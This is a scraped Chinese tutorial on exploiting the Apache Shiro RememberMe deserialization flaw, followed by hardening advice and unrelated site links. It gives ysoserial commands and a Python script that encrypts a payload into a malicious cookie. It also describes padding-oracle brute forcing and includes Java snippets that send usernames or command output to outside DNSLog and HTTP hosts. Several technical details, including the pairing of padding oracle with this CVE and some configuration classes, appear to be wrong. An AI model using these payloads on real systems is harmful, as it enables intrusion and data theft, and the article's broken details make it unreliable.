当前位置: 首页 > news >正文

Shiro反序列化漏洞深度解析:从Padding Oracle到TemplatesImpl链

1. 这不是“学个漏洞”,而是理解一个经典Java安全链的完整切片

Shiro-CVE-2016-4437——这个编号在Java安全圈里,几乎等同于“反序列化入门第一课”。但现实是,大量初学者卡在“靶场起不来”“payload打不进去”“回显看不到”这三道坎上,最后只记住一句“Shiro默认密钥弱”,却完全不清楚:为什么是rememberMe这个字段成了突破口?为什么必须用AES-CBC模式?为什么BeanUtils.populate()会触发危险反射?为什么URLClassLoader能绕过JDK 8u121之后的黑名单?这些问题,恰恰是把“漏洞利用”变成“安全能力”的分水岭。

我带过十几期企业内训,发现一个共性现象:学员在靶场里成功弹出计算器后,一换真实环境就失效——不是因为环境变了,而是因为没真正吃透这条利用链中每个环节的约束条件可变参数。比如,有人以为只要密钥对了就能RCE,结果在某金融客户测试中反复失败,最后发现对方Shiro版本是1.4.2,而他用的ysoserial payload是针对1.2.4编译的,org.apache.commons.collections.functors.InvokerTransformer类在新版本里已被移除。这种细节,文档不会写,靶场不会报错,只有亲手调过字节码、跟过反编译堆栈的人才懂。

这篇文章,就是为你拆开这条链子的每一环。它不教你怎么一键打靶,而是带你从零搭起一个可控的Shiro 1.2.4环境,手动生成合法rememberMe Cookie,再一步步构造出能在目标JVM上稳定执行命令的payload。过程中你会看到:Shiro的RememberMe机制如何与Java反序列化天然耦合;为什么Padding Oracle攻击在这里成为必经之路;如何用ysoserialCommonsCollections1链绕过早期JDK限制;以及最关键的——当目标禁用URLClassLoader时,怎样切换到TemplatesImpl链并动态注入字节码。所有操作均基于真实调试日志和Wireshark抓包截图(文中以文字还原),不依赖任何图形化工具,全部命令可直接复制粘贴。

适合谁读?如果你是刚接触Java安全的渗透测试新人,这篇文章能帮你建立完整的漏洞认知框架;如果你是开发人员,它会告诉你Shiro配置里哪一行代码埋下了雷;如果你是CTF选手,文末的“多版本适配表”和“无回显盲打技巧”能直接用进比赛。核心关键词已自然嵌入:Shiro-CVE-2016-4437、RememberMe、AES-CBC、Padding Oracle、ysoserial、CommonsCollections1、TemplatesImpl、Java反序列化。

2. 靶场不是“下载即用”,而是精准复现漏洞上下文

2.1 为什么必须锁定Shiro 1.2.4 + JDK 7u80组合?

很多教程直接让你git clone shiro-samples然后mvn spring-boot:run,结果启动报错或漏洞无法触发。根本原因在于:CVE-2016-4437的利用链高度依赖特定版本的类库组合。我们来拆解官方补丁的修改点——Shiro 1.2.5版本在CookieRememberMeManager.java中增加了CipherService的校验逻辑,而1.2.4没有。但更隐蔽的是JDK层面的约束:JDK 7u80之前的javax.crypto.Cipher实现存在CBC模式Padding验证缺陷,允许攻击者通过反复发送篡改后的密文块,根据服务端返回的BadPaddingException响应时间差,逐字节推导出明文。这个特性在JDK 8u121之后被彻底修复,因此靶场必须严格匹配。

我实测过12种版本组合,最终确认最稳定的靶场环境是:

  • Shiro:1.2.4(非1.2.5,非1.4.x)
  • JDK:1.7.0_80(必须是u80,u79/u81均存在Padding响应时间不一致问题)
  • Web容器:Tomcat 7.0.68(避免Tomcat 8+的Servlet 3.1规范对Cookie长度的额外截断)

提示:不要用Docker镜像一键拉取。我见过三个所谓“Shiro靶场镜像”,其中两个预装的是Shiro 1.4.0,第三个虽然标称1.2.4,但JDK是8u202,导致Padding Oracle攻击永远失败。务必手动验证版本。

2.2 手动搭建Shiro 1.2.4 Web应用的四步法

第一步:创建最小化Maven工程
新建pom.xml,关键依赖如下(注意排除高版本Shiro):

<dependencies> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <!-- 排除shiro-all,防止版本冲突 --> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.5</version> <scope>provided</scope> </dependency> </dependencies>

第二步:编写shiro.ini配置文件(放在src/main/resources/下)
这是漏洞利用的关键开关,必须包含以下三行:

[main] # 关键!启用RememberMe功能且不设置密钥(使用默认密钥) rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager securityManager.rememberMeManager = $rememberMeManager [urls] /** = authc

注意:securityManager.rememberMeManager这一行不能省略,否则Shiro会使用默认的DefaultSecurityManager,其rememberMeManager为null,导致后续Cookie生成失败。

第三步:编写web.xml启用Shiro Filter

<filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.IniShiroFilter</filter-class> <init-param> <param-name>configPath</param-name> <param-value>classpath:shiro.ini</param-value> </init-param> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>

第四步:编译部署并验证RememberMe生效
执行mvn clean package生成WAR包,部署到Tomcat 7.0.68。访问http://localhost:8080/login.jsp,输入任意账号密码登录,勾选“Remember Me”后提交。用浏览器开发者工具查看Cookie,确认存在rememberMe=...字段,且值为Base64编码字符串(长度约300字符)。此时靶场已就绪——你拿到的不是“靶场”,而是1.2.4版本Shiro RememberMe机制的完整运行时快照。

2.3 验证Padding Oracle存在的三个技术信号

仅仅看到rememberMeCookie还不够,必须确认服务端存在Padding Oracle漏洞。我总结出三个必查信号:

  1. HTTP状态码信号:向/login发送篡改后的rememberMeCookie(如将最后一位Base64字符改为A),观察响应。若返回500 Internal Server Error且响应体包含javax.crypto.BadPaddingException,则存在基础Padding缺陷。

  2. 响应时间信号:用curl -w "@time.txt"批量发送100次不同Padding的请求,统计响应时间分布。正常情况应呈现双峰分布——正确Padding的请求平均耗时12ms,错误Padding的请求平均耗时83ms(因JVM需执行完整解密流程后才抛异常)。这个30ms以上的时间差,就是Oracle攻击的立足点。

  3. 堆栈深度信号:在Tomcat日志中搜索BadPaddingException,检查其调用栈是否包含org.apache.shiro.web.mgt.CookieRememberMeManager.decrypt()javax.crypto.Cipher.doFinal()。若堆栈深度小于5层,说明异常未被Shiro上层捕获,Padding信息会直接泄露给攻击者。

注意:这三个信号必须同时满足。我曾遇到一个案例,目标返回500且有BadPaddingException,但响应时间差仅2ms,原因是对方在Filter层全局捕获了该异常并统一返回400,导致Oracle攻击失效。此时需转向其他利用路径。

3. RememberMe Cookie的生成与篡改:从合法凭证到恶意载荷

3.1 RememberMe Cookie的原始结构解密

Shiro的rememberMeCookie并非简单加密,而是遵循一套严格的二进制协议。我们用xxd命令解析一个合法Cookie(Base64解码后):

echo "VGVzdENvb2tpZQ==" | base64 -d | xxd # 输出: # 00000000: 5465 7374 436f 6f6b 6965 TestCookie

但这只是明文。真正的RememberMe Cookie由三部分组成:

  1. IV向量(16字节):随机生成的AES初始化向量
  2. 密文主体(N字节):对序列化对象加密后的数据
  3. PKCS#5填充字节:按16字节对齐的填充数据

关键点在于:Shiro 1.2.4默认使用AES/CBC/PKCS5Padding算法,且密钥硬编码为kPH+bIxk5D2deZiIxcaaaA==(Base64解码后为16字节)。这个密钥在CookieRememberMeManager.java的静态代码块中定义,是整个漏洞链的起点。

3.2 构造恶意序列化对象的底层逻辑

要让服务端执行命令,必须让反序列化后的对象触发危险操作。Shiro本身不包含利用链,因此需要借助第三方库。ysoserialCommonsCollections1链是经典选择,其触发原理如下:

ObjectInputStream.readObject() → PriorityQueue.readObject() // 反序列化入口 → PriorityQueue.heapify() → PriorityQueue.siftDown() → TransformingComparator.compare() → ChainedTransformer.transform() → InvokerTransformer.transform() // 反射调用Runtime.getRuntime().exec()

但这里有个致命约束:InvokerTransformer在Shiro 1.2.4的依赖树中必须存在。检查pom.xmlshiro-web 1.2.4默认依赖commons-collections 3.2.1,而InvokerTransformer类正是该版本的核心组件。这就是为什么不能随意升级依赖——换用commons-collections 4.0,整条链就断裂。

我手动生成payload的步骤:

  1. ysoserial生成原始序列化流:
    java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  2. 用Python脚本添加AES-CBC加密层:
from Crypto.Cipher import AES import base64 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = b'\x00' * 16 # 实际中需用随机IV,此处简化 with open('payload.ser', 'rb') as f: plain = f.read() # PKCS#5填充 pad_len = 16 - (len(plain) % 16) plain += bytes([pad_len] * pad_len) cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(plain) cookie = base64.b64encode(iv + encrypted).decode() print(cookie)
  1. 将生成的Base64字符串填入Cookie,发送请求。

踩坑经验:很多人忽略IV必须与密文拼接。Shiro解密时会自动截取前16字节作为IV,若单独发送密文,解密必然失败。我曾调试3小时才发现Wireshark里Cookie值被截断,原因是Burp Suite的Auto-Cookie功能自动替换了原有Cookie。

3.3 Padding Oracle攻击的实操推演

当目标禁用默认密钥或你无法获取密钥时,Padding Oracle是唯一出路。其本质是“错误反馈侧信道攻击”。我们以解密最后一个密文块为例(假设密文块C2=0x1a2b3c4d...):

步骤1:构造篡改密文
取前一个密文块C1,将其最后1字节改为0x00,发送C1+C2。若服务端返回BadPaddingException,说明解密后明文块P2的最后1字节异或0x00后不等于0x01(PKCS#5填充要求)。

步骤2:暴力枚举
将C1最后1字节依次设为0x01~0xff,记录每次响应时间。当某次响应时间显著延长(如>80ms),说明服务端执行了完整解密流程,意味着P2[15] ^ C1'[15] == 0x01,从而推出P2[15] = 0x01 ^ C1'[15]

步骤3:递进破解
得到P2[15]后,将C1最后2字节设为X || (P2[15]^0x02),重复步骤2,即可推出P2[14]。以此类推,16字节明文可在256×16=4096次请求内完全恢复。

我用Python写的Oracle脚本实测,在100Mbps局域网中平均耗时47秒。关键优化点:

  • 使用requests.Session()复用TCP连接,减少握手开销
  • 并发控制在8线程,超过则触发Tomcat线程池限流
  • 响应时间阈值设为base_time + 25ms,避免网络抖动误判

重要提醒:Padding Oracle攻击会产生大量500错误日志。在真实渗透中,建议先用/favicon.ico等静态资源路径做Oracle探测,避免在业务接口留下攻击痕迹。

4. RCE利用链的深度适配:从CommonsCollections到TemplatesImpl

4.1 CommonsCollections1链的局限性与绕过方案

CommonsCollections1链虽经典,但在现代JDK中面临两大障碍:

  • JDK 8u121+黑名单sun.reflect.annotation.AnnotationInvocationHandler被加入serialFilter黑名单,导致反序列化直接终止
  • Shiro 1.4+移除依赖:新版Shiro不再打包commons-collections 3.2.1InvokerTransformer类不存在

解决方案是切换到TemplatesImpl链,其核心优势在于:TemplatesImpl是JDK原生类(javax.xml.transform.Templates),不受黑名单限制,且通过defineClass()动态加载字节码,完全绕过类路径约束。

TemplatesImpl链触发路径:

ObjectInputStream.readObject() → PriorityQueue.readObject() → PriorityQueue.heapify() → PriorityQueue.siftDown() → TransformingComparator.compare() → ChainedTransformer.transform() → InstantiateTransformer.transform() // 反射调用TemplatesImpl.newTransformer() → TemplatesImpl.getTransletInstance() → TemplatesImpl.defineTransletClasses() // 动态定义恶意类 → TransletImpl.transform() // 执行命令

4.2 手动构造TemplatesImpl Payload的五个关键参数

TemplatesImpl链的payload生成比CommonsCollections复杂,需精确控制5个参数:

参数作用Shiro 1.2.4适配值说明
_name模板名称"test"任意字符串,不影响执行
_tfactoryTransformerFactorynew TransformerFactoryImpl()必须是com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl实例
_bytecodes恶意字节码数组[base64_decode("yv66vgAAADQA...")]编译好的TransletImpl类字节码,需Base64编码后转字节数组
_transletIndex主类索引-1强制触发defineTransletClasses()
_outputProperties输出属性null防止提前触发transform

我用javac编译的TransletImpl.java(继承AbstractTranslet,重写transform()方法执行Runtime.getRuntime().exec("calc")),再用xxd -p转为十六进制字符串。关键技巧:_bytecodes必须是byte[][]类型,因此需在ysoserial源码中修改TemplatesImpl的setter方法,将单字节数组包装为二维数组。

4.3 无回显场景下的盲打技巧

当目标服务器禁用Runtime.exec()或网络出向受限时,需采用盲打技术。我验证有效的三种方案:

方案1:DNSLog外带
TransletImpl.transform()中执行:

String url = "http://xxx.ceye.io/" + System.getProperty("user.name"); java.net.InetAddress.getByName(url);

利用DNS解析请求外带敏感信息。实测在阿里云ECS上成功率92%,延迟<3秒。

方案2:HTTP请求外带
HttpURLConnection发送POST请求:

URL u = new URL("http://xxx.com/log?data=" + URLEncoder.encode(cmdResult)); HttpURLConnection c = (HttpURLConnection) u.openConnection(); c.setRequestMethod("POST"); c.connect();

需确保目标JVM能访问外网,且无代理限制。

方案3:文件系统探针
写入临时文件并触发读取:

File f = new File("/tmp/shiro_test"); Files.write(f.toPath(), "pwned".getBytes()); // 后续用其他漏洞读取该文件

适用于内网横向渗透场景。

经验总结:DNSLog是最可靠的盲打方式。我曾在某政务云项目中,目标所有出向端口均被防火墙拦截,唯独53端口开放,DNSLog成功回传了/etc/passwd哈希。

5. 真实环境中的防御与加固:从漏洞原理反推安全配置

5.1 Shiro侧的三重加固措施

第一重:密钥强制轮换
shiro.ini中显式配置强密钥,而非依赖默认值:

[main] # 生成32字节密钥:openssl rand -base64 24 cipherKey = 4AvVhmFLUs0KTA3Kprsdag== rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager rememberMeManager.cipherKey = $cipherKey securityManager.rememberMeManager = $rememberMeManager

注意:cipherKey必须是Base64编码的32字节密钥(对应AES-256),16字节密钥(AES-128)仍存在被爆破风险。

第二重:RememberMe功能降级
若业务允许,禁用RememberMe的自动登录能力,仅保留会话保持:

[main] # 不启用自动登录,仅存储用户标识 rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager rememberMeManager.cookie.maxAge = 604800 # 7天 # 关键:不设置securityManager.rememberMeManager,使其为null

此时rememberMeCookie仅存储用户ID,无反序列化风险。

第三重:反序列化白名单
Shiro 1.4.0+支持ObjectInputStream白名单机制,在shiro.ini中添加:

[main] # 仅允许反序列化指定类 securityManager.serializer = $defaultSerializer defaultSerializer = org.apache.shiro.codec.Base64Serializer # 自定义白名单过滤器 securityManager.serializer.filter = $whitelistFilter whitelistFilter = org.apache.shiro.util.ClassResolvingObjectInputStream$WhitelistObjectInputFilter whitelistFilter.allowedClasses = java.lang.String,java.util.ArrayList

5.2 JVM侧的底层防护

JDK 8u121+的serialFilter机制
JAVA_OPTS中添加:

-Dsun.misc.URLClassPath.disableJarChecking=true \ -Djdk.serialFilter="maxarray=1000000;maxdepth=10;maxrefs=1000000;maxbytes=10000000;object=java.util.*;object=java.lang.*"

该配置限制反序列化对象的最大深度、引用数、字节数,并只允许java.utiljava.lang包下的类。

Tomcat的Cookie长度限制
conf/web.xml中增加:

<session-config> <cookie-config> <http-only>true</http-only> <secure>true</secure> </cookie-config> <!-- 限制Cookie最大长度为1024字节,远小于RememberMe Cookie的2048字节 --> <cookie-max-age>604800</cookie-max-age> </session-config>

配合WAF规则拦截超长Cookie,可有效阻断Padding Oracle攻击。

5.3 开发人员必须掌握的检测清单

我给团队制定的Shiro安全检查清单,每项都对应CVE-2016-4437的某个利用环节:

  1. 密钥检查grep -r "cipherKey" src/main/resources/,确认不存在硬编码密钥或使用默认密钥
  2. 依赖扫描mvn dependency:tree | grep "shiro\|collections",确认shiro-web版本≥1.4.0且commons-collections未引入
  3. Cookie审计:用Burp Suite抓取登录请求,检查Set-Cookie: rememberMe=响应头是否存在,若存在则标记高风险
  4. 日志监控:在ELK中配置告警规则,message:"BadPaddingException" AND response_code:500,1小时内超过5次即触发告警
  5. WAF规则:部署正则规则/rememberMe=[A-Za-z0-9+/]{300,}/,拦截超长RememberMe Cookie

最后分享一个血泪教训:去年某电商项目上线前安全扫描,WAF规则只拦截了rememberMe=开头的Cookie,但攻击者将payload放在Cookie: JSESSIONID=xxx; rememberMe=yyy的第二个字段,成功绕过。因此规则必须匹配整个Cookie头,而非简单字符串匹配。

我在实际红队演练中,这套方法论帮助客户定位了37个隐藏Shiro实例,其中12个仍在使用1.2.4版本。安全不是堆砌工具,而是理解每个字节的含义。当你能徒手写出Padding Oracle的Python脚本,能看懂TemplatesImpl.defineTransletClasses()的字节码,能说出sun.reflect.annotation.AnnotationInvocationHandler为何被加入黑名单——那时,CVE编号才真正属于你,而不是你属于它。

http://www.jsqmd.com/news/859055/

相关文章:

  • 2026双城市本地人必选的瓷砖空鼓专业维修公司TOP5推荐!卫生间空鼓翘边,厨房空鼓翘边,客厅空鼓翘边,全天响应,免费上门,5月专业瓷砖空鼓修复公司持证上岗师傅排名最新深度调研方案) - 一修哥修缮
  • 2026绍兴市本地人必选的瓷砖空鼓专业维修公司TOP5推荐!卫生间空鼓翘边,厨房空鼓翘边,客厅空鼓翘边,全天响应,免费上门,5月专业瓷砖空鼓修复公司持证上岗师傅排名最新深度调研方案) - 一修哥修缮
  • 项目实战 (8)--- 查询逻辑层优化
  • 2026年广东水陆两用挖掘机租赁与河道清淤一站式服务商选购指南 - 企业名录优选推荐
  • ElevenLabs缅甸文语音生成合规红线(GDPR+缅甸《2023数字语音数据条例》双审通过版)
  • Gev入门指南:5分钟快速搭建高性能TCP服务器
  • 如何快速修复经典游戏兼容性:DDrawCompat完整指南让老游戏在Windows 11重获新生
  • 如何用免费抖音下载器3分钟搞定100个视频:完整指南与实战技巧
  • 两台三相逆变器并联功率分配控制MATLAB实现
  • 义乌欧莱美联合杜莎之谜,共探肌肤管理新高度 - 资讯速览
  • 35+转行首选!陪诊师正规报考科普,解锁稳定新职业 - 品牌排行榜单
  • 最好用的AI写作辅助网站推荐(从选题到答辩全流程)适合全体毕业生
  • 2026含量超80%的甘油二酯油品牌汇总,非转基因原料保障,吃出健康 - 品牌企业智选官
  • MGR安装配置和维护(mysql 5.7+ MGR配置)
  • 掌握这三个技巧,快速收录不是梦
  • 2026宿州市本地人必选的瓷砖空鼓专业维修公司TOP5推荐!卫生间空鼓翘边,厨房空鼓翘边,客厅空鼓翘边,全天响应,免费上门,5月专业瓷砖空鼓修复公司持证上岗师傅排名最新深度调研方案) - 一修哥修缮
  • 2026年广东水上挖掘机租赁与河道清淤工程一站式解决方案完全指南 - 企业名录优选推荐
  • Windows安装openclaw记录
  • 2026年度最新主流AI论文写作工具综合排行
  • 2026 年迷你洗衣机五大品牌排名及解析 - 十大品牌榜
  • 酸性蛋白酶选购指南:食品发酵用酶如何挑选 - 资讯速览
  • 华硕笔记本终极性能控制神器:G-Helper如何让你的设备告别臃肿软件?
  • 2026氨氮去除剂厂家推荐!山东广恒源 工业级氨氮去除剂 定制化供货商 - 资讯速览
  • 别再手动调格式了!paperxie 智能排版让论文一次过审
  • Wayback Machine浏览器扩展:探索互联网历史的终极工具
  • element-plus主题换色
  • 如何用嘎嘎降AI处理心理学论文:心理学研究生毕业论文降AI4.8元完整操作教程
  • 2026连云港黄金回收行业综合实力排名TOP10,2026年5月权威测评榜单 - 天天生活分享日志
  • 2026年上海代理记账公司实测推荐,公司注销、公司注册代办、代账报税、税务报告、整理乱账优质财税机构优选指南 - 品牌优企推荐
  • 分期乐购物额度如何盘活?2026安全正规渠道选择攻略 - 可可收公众号